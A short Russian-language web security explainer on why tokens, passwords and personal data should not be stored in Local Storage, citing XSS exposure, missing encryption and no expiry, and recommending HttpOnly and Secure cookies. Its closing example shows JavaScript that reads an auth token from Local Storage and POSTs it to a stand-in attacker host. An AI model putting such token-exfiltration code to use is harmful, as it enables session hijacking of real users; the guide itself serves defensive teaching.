Почему нельзя хранить чувствительные данные в Local Storage

Хранение чувствительных данных (токены, пароли, персональные данные) в Local Storage небезопасно, так как:

1. Уязвимость к XSS-атакам: Local Storage доступен через JavaScript, и если злоумышленник внедрит вредоносный скрипт, он сможет получить данные.

2. Отсутствие шифрования: Данные хранятся в открытом виде, их может прочитать любой, кто получит доступ к браузеру.

3. Нет контроля срока жизни: Данные остаются до явного удаления, в отличие, например, от HttpOnly кук с ограниченным сроком.

Лучше использовать:

• HttpOnly куки (защищённые от чтения JS)
• Secure куки (только через HTTPS)
• Session Storage (если данные нужны только в рамках сессии)

Пример уязвимости:

// Злоумышленник может получить токен из Local Storage
const token = localStorage.getItem('authToken');
fetch('https://hacker.com/steal', { method: 'POST', body: token });